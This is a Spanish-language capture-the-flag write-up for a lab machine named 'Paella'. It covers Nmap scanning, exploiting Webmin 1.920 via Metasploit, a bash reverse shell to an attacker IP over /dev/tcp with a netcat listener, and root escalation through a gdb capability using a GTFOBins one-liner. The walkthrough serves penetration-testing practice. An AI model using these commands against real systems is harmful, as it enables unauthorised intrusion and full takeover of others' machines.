Paella
🎯 Resolución
🔍 Reconocimiento
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sC -sV -Pn 192.168.1.94
-
-sC: Ejecuta scripts predeterminados para obtener información adicional sobre los servicios. -
-sV: Detecta las versiones de los servicios en los puertos abiertos. -
-Pn: Omite el escaneo de ping, asumiendo que el host está activo.

👀 Detectamos los siguientes servicios activos: -
🛡️ SSH
-
🌐 Webmin en el puerto 10000
🕵️♂️Análisis de vulnerabilidades
Al analizar el servicio Webmin, identificamos que parece ser una versión antigua. Para verificar si es vulnerable, utilizamos el comando:
searchsploit webmin 1.920
Este comando busca vulnerabilidades conocidas y posibles exploits asociados con la versión 1.920 de Webmin.
📚 Al investigar, descubrimos que existe una vulnerabilidad crítica en esta versión, lo que abre la puerta a un posible acceso remoto.
🎯 Explotación
Para explorarla, accedemos a la consola de Metasploit con el comando:
msfconsole
Una vez dentro de la consola, utilizamos el siguiente comando para buscar exploits relacionados:
search webmin 1.920
Este comando busca en la base de datos de Metasploit módulos que puedan aprovechar la vulnerabilidad identificada. Una vez localizado el exploit adecuado, procederemos a configurarlo y ejecutarlo para intentar explotar el servicio
Una vez localizado el exploit en Metasploit, procedemos a configurarlo. Establecemos nuestro LHOST con la dirección IP del atacante y RHOSTS con la dirección IP de la víctima:
set LHOST <IP_del_atacante>
set RHOSTS <IP_de_la_victima>

Después de explotar la vulnerabilidad y obtener acceso inicial a la máquina víctima, configuramos un reverse shell para tener un terminal más funcional y accesible.
Abrimos un puerto en nuestra máquina atacante para escuchar la conexión entrante con el siguiente comando
sudo nc -lvnp 443
Esto inicia netcat en modo escucha en el puerto 443.
Ejecutamos el siguiente comando en la máquina víctima para enviar una shell de Bash al atacante:
/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.96/443 0>&1'
Este comando crea un canal bidireccional entre la máquina víctima y la máquina atacante, permitiendo al atacante controlar remotamente la máquina comprometida desde el terminal.
Para mejorar la experiencia y obtener una terminal más funcional, ejecutamos los siguientes comandos
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
📈 Escalada de privilegios
Ejecutamos el comando sudo -l para verificar qué permisos tiene el usuario actual y qué comandos puede ejecutar como administrador sin necesidad de proporcionar una contraseña. Sin embargo, al intentar ejecutarlo, se nos solicita una contraseña, lo que nos impide ver esta información en este momento
sudo -l

Se intentó revisar los procesos que se ejecutan como root, pero no se obtuvo información relevante. Como alternativa, buscamos archivos con permisos especiales mediante su SUID, pero tampoco se encontraron resultados útiles.
Sin embargo, ejecutamos el siguiente comando:
getcap -r / 2> /dev/null
Este comando busca binarios que tengan capacidades especiales asignadas en el sistema.

Entre los resultados, identificamos que el binario gdb tiene capacidades habilitadas, lo que podría permitirnos escalar privilegios.
Al consultar la página GTFOBins, encontramos que usando el siguiente comando podemos obtener privilegios de administrador:
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Sin embargo, este comando podría fallar debido a la falta de un entorno interactivo adecuado. Para solucionarlo, ajustamos el comando para importar el módulo pty (pseudo-terminal) y obtener una shell interactiva con privilegios de root
gdb -nx -ex 'python import os; os.setuid(0); import pty; pty.spawn("/bin/bash")' -ex quit
Este comando permite al atacante obtener una shell interactiva como root, lo que brinda acceso completo al sistema. Utilizamos gdb para ejecutar código Python que cambia el usuario a root y luego invoca una shell interactiva con el módulo pty, que facilita la interacción con el sistema.
